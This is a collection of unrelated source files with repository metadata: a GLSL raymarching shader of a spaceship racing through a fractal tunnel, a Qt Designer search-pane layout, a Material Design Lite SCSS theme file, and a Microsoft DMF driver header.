	fw=normalize(fw);vec3 rt=normalize(cross(fw,normalize(up)));return mat3(rt,cross(rt,fw),fw);
}

float smin(float a,float b,float k){return -log(exp(-k*a)+exp(-k*b))/k;}//from iq

float Sphere(vec3 p, vec3 rd, float r){
	float b = dot( -p, rd );
	float inner = b * b - dot( p, p ) + r * r;
	if( inner < 0.0 ) return -1.0;
	return b - sqrt( abs(inner) );
}

// ------------------------------------------------------------------
//    Track
// ------------------------------------------------------------------

// the track function, just some curves
vec3 path(float ti) {
	float freq=.5, amp=1.; // for trying different settings
	ti*=freq;
	float x=cos(cos(ti*.35682)+ti*.2823)*cos(ti*.1322)*1.5;
	float y=sin(ti*.166453)*4.+cos(cos(ti*.125465)+ti*.17354)*cos(ti*.05123)*2.;
	vec3  p=vec3(x,y,ti/freq);
	return p;
}

// see if we are in the tunnel, and used also by distance function
float tunnel(float z) {
return abs(100.-mod(z+15.,200.))-30.;
}

// ------------------------------------------------------------------
//    DE functions
// ------------------------------------------------------------------

// carcarspacecar by eiffie // (with some mods by Kali)
// a reconfig of the carcar's tires (someday I will have to do an animation from the original to this)
//the DE looks a bit long but there are actually fewer instructions than the car

float carcarDE(in vec3 p0){
	p0.xy*=cartilt;
	p0*=CAR_SCALE;
	vec3 p=p0;
	p.y+=1.24;
	float r=length(p.yz);
	float d=length(max(vec3(abs(p.x)-0.35,r-1.92,-p.y+1.4),0.0))-0.05;
	d=max(d,p.z-1.05);
	p=p0+vec3(0.0,-0.22,0.39);
	p.xz=abs(p.xz);
	p.xyz-=vec3(0.72,0.0,1.06);
	float w1=0.23,w2=0.24;
	if(p0.z<0.0){//this is discontinuous yet works unless you stand in front of the rear turbines
		w1=0.23,w2=0.05; //where you would get sucked into the blades anyways
		p=p.xzy; //so i'm comfortable with it :)
	}
	r=length(p.xy);
	d=smin(d,length(vec2(max(abs(p.z)-w2,0.0),r-w1))-0.02,8.0);//done with the car shape, the rest is just turbines and could be replaced with lights or something
	d=min(d,(length(p*vec3(1.,1.,.6))-.08-p0.z*.03));
	p.xy=trmx*p.xy;//spin
	float d2=min(abs(p.x),abs(p.y))*.15;//4 blades
	//p.xy=mat2(0.707,-0.707,0.707,0.707)*p.xy;//45 degree turn
	//d2=min(d2,min(abs(p.x),abs(p.y))*.2);//8 blades
	d2=max(r-w1-.05,max(d2-0.005,abs(p.z)-w2+0.04));
	d2=min(d2,(length(p)-.05-p0.z*.035)*.07);
	d2=min(d2,max(d+.02,max(abs(p0.y-.07),abs(p0.x)-.4+min(0.,p0.z)))*.18);
	minL=min(minL,d2);//catch the minimum distance to the glowing parts
	// I used d2 only for glows (Kali)
	return d/CAR_SCALE;// *carScale
}

vec3 carcarCE(in vec3 p0){//coloring
	p0*=CAR_SCALE;
	vec4 trpc=vec4(0.);//color trap (taking samples when finding the norm)// not for now (Kali)

	//right here you should inv-transform p0 as it gets used later
	//p0=(p0-carPos)*carRot/carScale;//or something like that??
	p0.xy*=cartilt;
	vec3 p=p0;
	p.y+=1.24;
	float r=length(p.yz);
	float d=length(max(vec3(abs(p.x)-0.35,r-1.92,-p.y+1.4),0.0))-0.05;
	d=max(d,p.z-1.0);
	p=p0+vec3(0.0,-0.22,0.39);
	p.xz=abs(p.xz);
	p.xyz-=vec3(0.72,0.0,1.06);
	float w1=0.2,w2=0.24;
	if(p0.z<0.0){//this is discontinuous yet works unless you stand in front of the rear turbines
		w1=0.23,w2=0.05; //where you would get sucked into the blades anyways
		p=p.xzy; //so i'm comfortable with it :)
	}
	r=length(p.xy);
	d=smin(d,length(vec2(max(abs(p.z)-w2,0.0),r-w1))-0.02,8.0);//done with the car shape, the rest is just turbines and could be replaced with lights or something
	p.xy=trmx*p.xy;
	float d2=min(abs(p.x),abs(p.y));//4 blades
	p.xy=mat2(0.707,-0.707,0.707,0.707)*p.xy;//45 degrees
	d2=min(d2,min(abs(p.x),abs(p.y)));//8 blades
	d2=max(r-w1+0.02,max(d2-0.005,abs(p.z)-w2+0.04));
	//up to here it is the same as DE, now accumulate colors
	if(d2<d){d=d2;trpc+=vec4(1.,0.6,0.3,256.0);}//turbines
	else {//the car's body
		p0.x=abs(p0.x);
		if((abs(p0.y-0.58)>0.05-p0.z*0.09 || p0.z>0.25) &&
		   length(max(abs(p0.xz+vec2(-p0.z*.03,-0.5))-vec2(0.15+p0.z*.03,0.4),0.0))>0.1)
			trpc+=vec4(CAR_COLOR,16.0);
		else trpc+=vec4(CAR_COLOR*.4,2.0);//the windsheild
	}
	return trpc.xyz; // *carScale
}

//-------------------------------------------

// DE for tubes
float tubes(vec3 pos) {
	pos.x=abs(pos.x)-tubepos.x-FOLD;
	pos.y+=tubepos.y;
	return (length(pos.xy)-.05);
}

// ------------------------------------------------------------------
//    SCENE DE
// ------------------------------------------------------------------

float de(vec3 pos) {
	vec3 carp=pos-carpos; // scale car coordinates
	carp=carrot*carp; // rotate car
	pos.xy-=path(pos.z).xy; // transform coordinates to follow track
	FOLD=1.7+pow(abs(100.-mod(pos.z,200.))/100.,2.)*2.; //varies fractal fold & track width
	pos.x-=FOLD;
	float hid=0.;
	vec3 tpos=pos;
	tpos.z=abs(2.-mod(tpos.z,4.));
	vec4 p=vec4(tpos,1.);
	for (int i=0; i<ITERATIONS; i++) { // calculate fractal
		p.xz=clamp(p.xz,-vec2(FOLD,2.),vec2(FOLD,2.))*2.0-p.xz;
		p=p*2.5/clamp(dot(p.xyz,p.xyz),.5,1.)-vec4(1.2,0.5,0.,-0.5);
		p.xy*=fractrot;
	}
	pos.x+=FOLD;
	float fr=min(max(pos.y+.4,abs(pos.x)-.15*FOLD),(max(p.x,p.y)-1.)/p.w); // fractal+pit
	float tub=tubes(pos);
	minT=min(minT,tub*.5); // trap min distance to tubes
	float car=carcarDE(carp);
	float d=tub;
	d=min(fr,d);
	d=min(d,max(abs(pos.y-1.35+cos(3.1416+pos.x*.8)*.5)-.1,tunnel(pos.z))); // tunnel DE
	if (ref<1.) d=min(d,car);
	d=max(d,abs(pos.x)-FOLD*2.);
	if (car<det) hitcar=1.; // ray hits the car!
	return d;
}

// ------------------------------------------------------------------
//    General Shading Functions
// ------------------------------------------------------------------

vec3 normal(vec3 p) {
	vec3 e = vec3(0.0,det,0.0);

	return normalize(vec3(
			de(p+e.yxx)-de(p-e.yxx),
			de(p+e.xyx)-de(p-e.xyx),
			de(p+e.xxy)-de(p-e.xxy)
			)
		);
}

#ifndef LOW_QUALITY

float shadow(vec3 pos, vec3 sdir) {
	float sh=1.0;
	float totdist = DETAIL*10.;
	float dist=1000.;
		for (int steps=0; steps<SHADOW_STEPS; steps++) {
			if (totdist<MAX_DIST && dist>DETAIL) {
				vec3 p = pos - totdist * sdir;
				dist = de(p);
				sh = min(sh, 10.*max(0.0,dist)/totdist);
				sh*= sign(max(0.,dist-DETAIL));
				totdist += max(0.02,dist);
			}
#ifdef LOOP_BREAKS
		else break;
#endif
		}

	return clamp(sh,0.,1.0);
}

#endif

float calcAO(vec3 pos, vec3 nor) {
	float hr,dd,aoi=0.,sca=1.,totao=0.;
	hr = .075*aoi*aoi;dd = de(nor * hr + pos);totao += (hr-dd)*sca;sca*=.6;aoi++;
	hr = .075*aoi*aoi;dd = de(nor * hr + pos);totao += (hr-dd)*sca;sca*=.55;aoi++;
	hr = .075*aoi*aoi;dd = de(nor * hr + pos);totao += (hr-dd)*sca;sca*=.55;aoi++;
	hr = .075*aoi*aoi;dd = de(nor * hr + pos);totao += (hr-dd)*sca;sca*=.55;aoi++;
	return clamp( 1.0 - 4.*totao, 0., 1.0 );
}

// ------------------------------------------------------------------
//    Light and Coloring
// ------------------------------------------------------------------

vec3 shade(in vec3 p, in vec3 dir, in vec3 n) {

	float savehitcar=hitcar;

	vec3 trackoffset=-vec3(path(p.z).xy,0.);
	vec3 pos=p;
	vec3 col=vec3(.5); // main color
	vec3 carp=pos-carpos; //scaled coordinates for the car
	carp=carrot*carp; // rotate car
	pos+=trackoffset; // apply track transformation to the coordinates
	// track lines
	if (pos.y<.5) col+=pow(max(0.,.2-abs(pos.x))/.2*abs(sin(pos.z*2.)),8.)*TUBE_COLOR*2.;
	pos.x=abs(pos.x);
	// fake AO for the tunnel's upper corners
	if(tunnel(pos.z)<0.)
		col*=1.-pow(max(0.5,1.-length(pos.xy+vec2(-FOLD*1.5,-.85))),5.)*max(0.,1.+pos.y);
	if (tubes(pos)<det) col=TUBE_COLOR; // hit tubes
	if (carcarDE(carp)<det) col=carcarCE(carp); // hit car, get coloring

	float ao=calcAO(p,n); // calc AO
	float camlight=max(0.,dot(dir,-n)); // camlight used for ambient

	// --- Tube lights ---

	vec3 tpos1=vec3((tubepos+vec2(FOLD,0.)),0.)+trackoffset; // get tube positions
	vec3 tpos2=tpos1-vec3((tubepos.x+FOLD)*2.,0.,0.);
	// light direction
	vec3 tube1lightdir=normalize(vec3(p.xy,0.)+vec3(tpos1.xy,0.));
	vec3 tube2lightdir=normalize(vec3(p.xy,0.)+vec3(tpos2.xy,0.));
	// light falloffs
	float falloff1,falloff2;
	if (savehitcar>0.) {
		falloff1=pow(max(0.,1.-.15*distance(vec3(p.xy,0.),vec3(-tpos1.xy,0.))),4.);
		falloff2=pow(max(0.,1.-.15*distance(vec3(p.xy,0.),vec3(-tpos2.xy,0.))),4.);
	} else {
		falloff1=pow(max(0.,1.-.2*distance(vec3(p.xy,0.),vec3(-tpos1.xy,0.))),4.);
		falloff2=pow(max(0.,1.-.2*distance(vec3(p.xy,0.),vec3(-tpos2.xy,0.))),4.);
	}

	float diff, spec;

	vec3 r=reflect(LIGHTDIR,n);

	// tube1 calcs
	diff=max(0.,dot(tube1lightdir,-n));
	diff+=max(0.,dot(normalize(tube1lightdir+vec3(0.,0.,.2)),-n))*.5; // add 2 more
	diff+=max(0.,dot(normalize(tube1lightdir-vec3(0.,0.,.2)),-n))*.5; // with Z shifted
	spec=pow(max(0.,dot(tube1lightdir+vec3(0.,0.,.4),r)),15.)*.7;
	spec+=pow(max(0.,dot(tube1lightdir-vec3(0.,0.,.4),r)),15.)*.7;
	float tl1=(falloff1*ao+diff+spec)*falloff1;

	// tube2 calcs
	diff=max(0.,dot(tube2lightdir,-n));
	diff+=max(0.,dot(normalize(tube2lightdir+vec3(0.,0.,.2)),-n))*.5;
	diff+=max(0.,dot(normalize(tube2lightdir-vec3(0.,0.,.2)),-n))*.5;
	spec=pow(max(0.,dot(tube2lightdir+vec3(0.,0.,.4),r)),15.)*.7;
	spec+=pow(max(0.,dot(tube2lightdir-vec3(0.,0.,.4),r)),15.)*.7;
	float tl2=(falloff2*ao+diff+spec)*falloff2;

	// sum tube lights - add ambient - apply tube intervall
	vec3 tl=((tl1+tl2)*(.5+tubeinterval*.5))*TUBE_COLOR;//*(1.+tun*.5);

	// --- Car lights ---

	// get the car turbines direction (aproximate)
	vec3 carlightdir1=normalize(p-carpos+vec3(.2,0.06,.15));
	vec3 carlightdir2=normalize(p-carpos+vec3(-.2,0.06,.15));
	vec3 carlightdir3=normalize(p-carpos+vec3(.2,0.06,-.35));
	vec3 carlightdir4=normalize(p-carpos+vec3(-.2,0.06,-.35));

	float cfalloff=pow(max(0.,1.-.1*distance(p,carpos)),13.); // car light falloff

	// accumulate diffuse
	diff=max(0.,dot(carlightdir1,-n))*.5;
	diff+=max(0.,dot(carlightdir2,-n))*.5;
	diff+=max(0.,dot(carlightdir3,-n))*.5;
	diff+=max(0.,dot(carlightdir4,-n))*.5;

	if (savehitcar<1.) diff*=clamp(1.-carlightdir1.y,0.,1.);

	// add ambient and save car lighting
	vec3 cl=TURBINES_COLOR*((diff+spec*.0)*cfalloff+cfalloff*.3)*1.2;

	// --- Main light ---

#ifdef LOW_QUALITY
	float sh=ao;
#else
	float sh=shadow(p, LIGHTDIR); // get shadow
#endif

	diff=max(0.,dot(LIGHTDIR,-n))*sh*1.3; // diffuse
	float amb=(.4+.6*camlight)*.6; // ambient+camlight
	spec=pow(max(0.,dot(dir,-r))*sh,20.)*SPECULAR; //specular
	if (savehitcar>0.) {diff*=.8;amb*=.3;}
	vec3 l=(amb*ao*AMBIENT_COLOR+diff*LIGHT_COLOR)+spec*LIGHT_COLOR;

	if (col==TUBE_COLOR) l=.3+vec3(camlight)*.7; // special lighting for tubes

	return col*(l+cl+tl); // apply all lights to the color
}

// the planet shading...
// very simple and fast made, but for low res windowed mode it does the job :)
vec3 shadeplanet(vec3 pos, vec3 k) {

	vec3 n=normalize(planetpos+pos+.2); // tweaked sphere normal
	float c=max(0.,dot(LIGHTDIR,normalize(k-n))); // surface value
	vec3 col=PLANET_COLOR+vec3(c,c*c,c*c*c)*.7; // surface coloring
	// add some noise
	float noi=max(0.,texture(iChannel1,n.yz*.5).x-.6);
	noi+=max(0.,texture(iChannel1,n.yz).x-.6);
	noi+=max(0.,texture(iChannel1,n.yz*2.).x-.6);
	col+=noi*(1.5-c)*.7;
	return col*max(0.,dot(LIGHTDIR,-n)); // diff light
}

// ------------------------------------------------------------------
//    Raymarching + FX rendering
// ------------------------------------------------------------------

vec3 raymarch(in vec3 from, in vec3 dir)

{
	hitcar=0.;
	ref=0.;
	float totdist=0.;
	float glow=0.;
	float d=1000.;
	vec3 p=from, col=vec3(0.5);

	float deta=DETAIL*(1.+backcam); // lower detail for HUD cam
	vec3 carp=vec3(0.); // coordinates for car hit
	vec3 carn=vec3(0.); // normal for car
	float cardist=0.; // ray length for car
	vec3 odir=dir; // save original ray direction

	for (int i=0; i<RAY_STEPS; i++) {
		if (d>det && totdist<MAX_DIST) {
			d=de(p);
			p+=d*dir;
			det=max(deta,deta*totdist*.5*(1.+ref)); // scale detail with distance or reflect
			totdist+=d;
			float gldist=det*8.; // background glow distance
			if(d<gldist&&totdist<20.) glow+=max(0.,gldist-d)/gldist*exp(-.1*totdist); //accum glow
#ifndef LOW_QUALITY
			if (hitcar>0. && ref<1.) { // hit car, bounce ray (only once)
				p=p-abs(d-det)*dir; // backstep
				carn=normal(p); // save car normal
				carp=p; // save car hit pos
				dir=reflect(dir,carn); // reflect ray
				p+=det*dir*10.; // advance ray
				d=10.; cardist=totdist;
				ref=1.;
			}
#endif
		}
#ifdef LOOP_BREAKS
		else break;
#endif
	}

	tubeinterval=abs(1.+cos(p.z*3.14159*.5))*.5; // set light tubes interval
	float cglow=1./(1.0+minL*minL*5000.0); // car glow
	float tglow=1./(1.0+minT*minT*5000.0); // tubes glow
	float l=max(0.,dot(normalize(-dir),normalize(LIGHTDIR))); // lightdir gradient
	vec3 backg=AMBIENT_COLOR*.4*max(0.1,pow(l,5.)); // background
	float lglow=pow(l,50.)*.5+pow(l,200.)*.5; // sun glow

	if (d<.5) { // hit surface
		vec3 norm=normal(p); // get normal
		p=p-abs(d-det)*dir; // backstep
		col=shade(p, dir, norm); // get shading
		col+=tglow*TUBE_COLOR*pow(tubeinterval,1.5)*2.; // add tube glow
		col = mix(backg, col, exp(-.015*pow(abs(totdist),1.5))); // distance fading

	} else { // hit background
		col=backg; // set color to background
		col+=lglow*SUN_COLOR; // add sun glow
		col+=glow*pow(l,5.)*.035*LIGHT_COLOR; // borders glow

#ifdef LOW_QUALITY
		vec3 st = (dir * 3.+ vec3(1.3,2.5,1.25)) * .3;
		for (int i = 0; i < 14; i++) st = abs(st) / dot(st,st) - .9;

		col+= min( 1., pow( min( 5., length(st) ), 3. ) * .0025 ); // add stars
#else
		float planet=Sphere(planetpos,dir, 2.); // raytrace planet

		// kaliset formula - used for stars and planet surface
		float c;
		if (planet>0.) c=1.; else c=.9; // different params for planet and stars
		vec3 st = (dir * 3.+ vec3(1.3,2.5,1.25)) * .3;
		for (int i = 0; i < 14; i++) st = abs(st) / dot(st,st) - c;

		col+= min( 1., pow( min( 5., length(st) ), 3. ) * .0025 ); // add stars

		// planet atmosphere
		col+=PLANET_COLOR*pow(max(0.,dot(dir,normalize(-planetpos))),100.)*150.*(1.-dir.x);
		// planet shading
		if (planet>0.) col=shadeplanet(planet*dir,st);
#endif

	}
	// car shading

		// add turbine glows

#ifdef LOW_QUALITY
	cglow*=1.15;
#else
	if (ref>0.) {
		ref=0.;
		col=shade(carp,odir,carn)+col*.3; // car shade + reflection
		// I wanted a lighter background for backward reflection
		l=max(0.,dot(normalize(-odir),normalize(LIGHTDIR)));
		backg=AMBIENT_COLOR*.4*max(0.1,pow(l,5.));
		col = mix(backg, col,exp(-.015*pow(abs(cardist),1.5))); // distance fading
	}
#endif

	col+=TURBINES_COLOR*pow(abs(cglow),2.)*.4;
	col+=TURBINES_COLOR*cglow*.15;

	return col;
}

// simple HUD track graph with transparency
vec4 showtrack(vec2 p) {
	p.x+=.25;
	vec2 uv=p;
	float uvpos=uv.x+1.5;
	vec3 pth=path((uvpos-1.5)*30.+t)*.05;
	float curpos=path(t).x*.05;
	float curs=pow(max(0.,1.-length(uv+vec2(0.,curpos))*2.),10.)*max(0.5,sin(iGlobalTime*10.))*2.;
	uv.xy=uv.xy-(vec2(uvpos,0.))*rot(pth.x/uvpos);
	float dotline=pow(max(0.,1.-abs(uv.y)*5.),30.);
	float graph=(curs+dotline);
	return vec4((graph+.4)*HUD_COLOR,1.-.5*pow(abs(.025-mod(p.y*2.,.05))/.025,2.));
}

// ------------------------------------------------------------------
//    Main code - Camera - HUD
// ------------------------------------------------------------------

void mainImage( out vec4 fragColor, in vec2 fragCoord )
{
	minL=minT=1000.; // initialize min distance glows
	fractrot=rot(.5); // mat2D for the fractal formula
	vec3 carpos0=vec3(0.,-0.2,.0); // set relative car pos (unused now, only sets height)
	carpos=vec3(carpos0+vec3(0.,0.,t)); // real car pos
	vec3 carmove=path(carpos.z); carmove.x*=1.+FOLD*.1; // get pos, exagerate x pos based on track width.
	carvec=normalize((path(carpos.z+2.)-carmove)*vec3(FOLD*.25,1.,1.)); // car fwd vector
	carrot=lookat(-carvec,vec3(0.,1.,0.)); // car rotation
	cartilt=rot(-carvec.x*2.); // xy rotation based on distance from center
	carpos.xy+=carmove.xy-vec2(carvec.x,0.)*FOLD*.5; // move away from center when turning
	float tim=iGlobalTime*12.0;
	trmx=mat2(cos(tim),-sin(tim),sin(tim),cos(tim));//the turbine spinner

	// --- camera & mouse ---

	vec2 uv = fragCoord.xy / iResolution.xy*2.-1.;
	uv.y*=iResolution.y/iResolution.x;
#ifdef MOUSE
	vec2 mouse=(iMouse.xy/iResolution.xy-.5)*vec2(7.,1.5);
	if (iMouse.z<1.) { // if no mouse, alternate rear and back cam
		mouse=vec2(sin(iGlobalTime)*.7,2.+sin(iGlobalTime*.2)*.22)
			*min(0.,sign(10.-mod(iGlobalTime,20.)));
	}
#else
   vec2 mouse=vec2(sin(iGlobalTime)*.7,2.+sin(iGlobalTime*.2)*.22)
      *min(0.,sign(10.-mod(iGlobalTime,20.)));
#endif
	vec3 dir=normalize(vec3(uv*.8,1.));

	vec3 campos=vec3(0.,0.2,-.6); // original relative camera position
	//rotate camera with mouse
	campos.yz=(campos.yz-carpos0.yz)*rot(mouse.y)+carpos0.yz;
	campos.xz=(campos.xz-carpos0.xz)*rot(mouse.x)+carpos0.xz;
	campos.x-=carvec.x*FOLD; // follow car x pos a bit when turning

	vec3 from;

	float fixcam=5.;
	float mt=mod(t/SPEED,fixcam*2.);

	//fixed cam every 15 seconds, random position, point at car position
#ifdef MOUSE
	if ((mod(iGlobalTime,20.)>15. && iMouse.z<1.)) {
#else
	if ((mod(iGlobalTime,20.)>15.)) {
#endif
		fixcam*=SPEED;
		from=path(floor(t/fixcam)*fixcam+fixcam*.5);
		//from.x+=.05;// from.y+=.5;
		vec2 fixpos=(texture(iChannel1,vec2(from.z*.21325)).xy-.5)*vec2(FOLD*2.-.3,1.);
		fixpos.x+=sign(fixpos.x)*.3; fixpos.y+=.2;
		from.xy+=fixpos;
		dir=lookat(normalize(carpos-from),vec3(0.,1.,0.))*normalize(dir+vec3(0.,0.,0.5));

	} else { //normal cam
		from=path(t+campos.z)+campos;
		dir.y-=.3*campos.z;
		dir=lookat(normalize(carpos-from),vec3(0.,1.,0.))*normalize(dir);
	}

	vec4 hud=vec4(0.);

#ifndef NO_HUD
	//HUD (hud camera was going to be transparent but won't compile)
	backcam=0.;
		vec2 huv=uv+vec2(.75,.44);
		if (length(huv*huv*huv*vec2(5.,50.))<.05) hud=showtrack(huv*2.); // track HUD
		uv+=vec2(-.75,.44);
		if (length(uv*uv*uv*vec2(5.,50.))<.05) { //set ray data for HUD cam
				backcam=1.;
				uv*=6.;
				dir=normalize(vec3(uv.xy*.6,-1.));
				from=vec3(carvec.x*.5,0.1,0.)+path(t-campos.z*1.7);
				dir=lookat(-normalize(carpos-from),normalize(vec3(0.,1.,0.)))*dir;
				//color+=HUD_COLOR*(vec3(HUDraymarch(from,dir))+.1);
		}

#endif

	vec3 color=raymarch(from,dir); 	// Raymarch scene
	color=clamp(color,vec3(.0),vec3(1.));
	if (backcam>0.) { //if HUD cam, apply post effect
		color=(.2+pow(length(color),1.7)*.5)*HUD_COLOR
			*(1.-.5*pow(abs(.025-mod(uv.y*.9,.05))/.025,2.))*.9;
	}

	color=hud.rgb*hud.a+color*(1.-hud.a);//HUD transparency

	//color adjustments
	color=pow(abs(color),vec3(GAMMA))*BRIGHTNESS;
	color=mix(vec3(length(color)),color,SATURATION);
	fragColor = vec4(color,1.);
}

 void main(void)
{
  //just some shit to wrap shadertoy's stuff
  vec2 FragCoord = vTexCoord.xy*OutputSize.xy;
  mainImage(FragColor,FragCoord);
}
#endif

{'repo_name': 'exokitxr/emukit', 'stars': '117', 'repo_language': 'JavaScript', 'file_name': 'inflate.js', 'mime_type': 'text/plain', 'hash': -4519061329194983261, 'source_dataset': 'data'}


<?xml version="1.0" encoding="UTF-8"?>
<ui version="4.0">
 <class>ScxmlEditor::Common::Search</class>
 <widget class="QWidget" name="ScxmlEditor::Common::Search">
  <property name="geometry">
   <rect>
    <x>0</x>
    <y>0</y>
    <width>400</width>
    <height>300</height>
   </rect>
  </property>
  <property name="minimumSize">
   <size>
    <width>0</width>
    <height>30</height>
   </size>
  </property>
  <property name="windowTitle">
   <string/>
  </property>
  <layout class="QVBoxLayout" name="verticalLayout">
   <property name="spacing">
    <number>0</number>
   </property>
   <property name="leftMargin">
    <number>0</number>
   </property>
   <property name="topMargin">
    <number>0</number>
   </property>
   <property name="rightMargin">
    <number>0</number>
   </property>
   <property name="bottomMargin">
    <number>0</number>
   </property>
   <item>
    <widget class="QFrame" name="m_subTitleFrame">
     <property name="sizePolicy">
      <sizepolicy hsizetype="Preferred" vsizetype="Preferred">
       <horstretch>0</horstretch>
       <verstretch>0</verstretch>
      </sizepolicy>
     </property>
     <property name="minimumSize">
      <size>
       <width>0</width>
       <height>31</height>
      </size>
     </property>
     <property name="maximumSize">
      <size>
       <width>16777215</width>
       <height>16777215</height>
      </size>
     </property>
     <property name="sizeIncrement">
      <size>
       <width>0</width>
       <height>0</height>
      </size>
     </property>
     <property name="baseSize">
      <size>
       <width>0</width>
       <height>0</height>
      </size>
     </property>
     <property name="frameShape">
      <enum>QFrame::NoFrame</enum>
     </property>
     <property name="frameShadow">
      <enum>QFrame::Plain</enum>
     </property>
     <layout class="QHBoxLayout" name="horizontalLayout_2">
      <property name="spacing">
       <number>0</number>
      </property>
      <property name="leftMargin">
       <number>3</number>
      </property>
      <property name="topMargin">
       <number>0</number>
      </property>
      <property name="rightMargin">
       <number>3</number>
      </property>
      <property name="bottomMargin">
       <number>0</number>
      </property>
      <item>
       <widget class="QLineEdit" name="m_searchEdit">
        <property name="placeholderText">
         <string>Enter search term</string>
        </property>
        <property name="clearButtonEnabled">
         <bool>true</bool>
        </property>
       </widget>
      </item>
     </layout>
    </widget>
   </item>
   <item>
    <widget class="QFrame" name="m_paneInnerFrame">
     <property name="minimumSize">
      <size>
       <width>0</width>
       <height>1</height>
      </size>
     </property>
     <property name="frameShape">
      <enum>QFrame::NoFrame</enum>
     </property>
     <property name="frameShadow">
      <enum>QFrame::Plain</enum>
     </property>
     <layout class="QVBoxLayout" name="verticalLayout_2">
      <property name="spacing">
       <number>0</number>
      </property>
      <property name="leftMargin">
       <number>0</number>
      </property>
      <property name="topMargin">
       <number>0</number>
      </property>
      <property name="rightMargin">
       <number>0</number>
      </property>
      <property name="bottomMargin">
       <number>0</number>
      </property>
      <item>
       <widget class="ScxmlEditor::OutputPane::TableView" name="m_searchView">
        <property name="frameShape">
         <enum>QFrame::NoFrame</enum>
        </property>
        <property name="frameShadow">
         <enum>QFrame::Plain</enum>
        </property>
        <property name="editTriggers">
         <set>QAbstractItemView::NoEditTriggers</set>
        </property>
        <property name="showDropIndicator" stdset="0">
         <bool>true</bool>
        </property>
        <property name="dragEnabled">
         <bool>true</bool>
        </property>
        <property name="alternatingRowColors">
         <bool>true</bool>
        </property>
        <property name="selectionMode">
         <enum>QAbstractItemView::SingleSelection</enum>
        </property>
        <property name="selectionBehavior">
         <enum>QAbstractItemView::SelectRows</enum>
        </property>
        <property name="verticalScrollMode">
         <enum>QAbstractItemView::ScrollPerPixel</enum>
        </property>
        <property name="showGrid">
         <bool>false</bool>
        </property>
        <property name="gridStyle">
         <enum>Qt::NoPen</enum>
        </property>
        <property name="sortingEnabled">
         <bool>true</bool>
        </property>
        <property name="wordWrap">
         <bool>false</bool>
        </property>
        <attribute name="horizontalHeaderDefaultSectionSize">
         <number>80</number>
        </attribute>
        <attribute name="horizontalHeaderMinimumSectionSize">
         <number>50</number>
        </attribute>
        <attribute name="horizontalHeaderStretchLastSection">
         <bool>true</bool>
        </attribute>
        <attribute name="verticalHeaderVisible">
         <bool>false</bool>
        </attribute>
        <attribute name="verticalHeaderDefaultSectionSize">
         <number>19</number>
        </attribute>
        <attribute name="verticalHeaderMinimumSectionSize">
         <number>19</number>
        </attribute>
       </widget>
      </item>
     </layout>
    </widget>
   </item>
  </layout>
 </widget>
 <customwidgets>
  <customwidget>
   <class>TableView</class>
   <extends>QTableView</extends>
   <header>tableview.h</header>
  </customwidget>
 </customwidgets>
 <resources/>
 <connections/>
</ui>

{'repo_name': 'qt-creator/qt-creator', 'stars': '1261', 'repo_language': 'C++', 'file_name': 'FindGoogletest.cmake', 'mime_type': 'text/plain', 'hash': -928723539596925044, 'source_dataset': 'data'}


//----------------------------------------------------------------------------------------------------------------------
// Material Design Lite
//----------------------------------------------------------------------------------------------------------------------

// Material Colors
@import "../../styles/theme/color-definitions";

// Color-Theme
$theme-name: "cyan-grey";
$palette-primary: $palette-cyan;
$palette-accent: $palette-grey; // All pallets except brown, grey and blue-grey

// Config for this package
@import "../../styles/_config/config";
@import "../../styles/_config/show_config";

// Resets and dependencies
@import "../../styles/resets/resets";

// CSS-Styles for colors
@import "../../styles/theme/palette";

// Components
@import "../../styles/components";

{'repo_name': 'MikeMitterer/dart-material-design-lite', 'stars': '231', 'repo_language': 'CSS', 'file_name': 'tooltip-rich.html', 'mime_type': 'text/plain', 'hash': -2471189554820518103, 'source_dataset': 'data'}


/*++

    Copyright (c) Microsoft Corporation. All rights reserved.
    Licensed under the MIT license.

Module Name:

    Dmf_EyeGazeIoctl.h

Abstract:

    Companion file to Dmf_EyeGazeIoctl.c.

Environment:

    Kernel-mode Driver Framework

--*/

#pragma once

// Client uses this structure to configure the Module specific parameters.
//
typedef struct
{
    USHORT VendorId;
    USHORT ProductId;
    USHORT VersionId;
} DMF_CONFIG_EyeGazeIoctl;

// This macro declares the following functions:
// DMF_EyeGazeIoctl_ATTRIBUTES_INIT()
// DMF_CONFIG_EyeGazeIoctl_AND_ATTRIBUTES_INIT()
// DMF_EyeGazeIoctl_Create()
//
DECLARE_DMF_MODULE(EyeGazeIoctl)

// Module Methods
//

// eof: Dmf_EyeGazeIoctl.h
//

{'repo_name': 'microsoft/DMF', 'stars': '183', 'repo_language': 'C', 'file_name': 'DmfUTest.Filters', 'mime_type': 'text/xml', 'hash': -6993251652749074649, 'source_dataset': 'data'}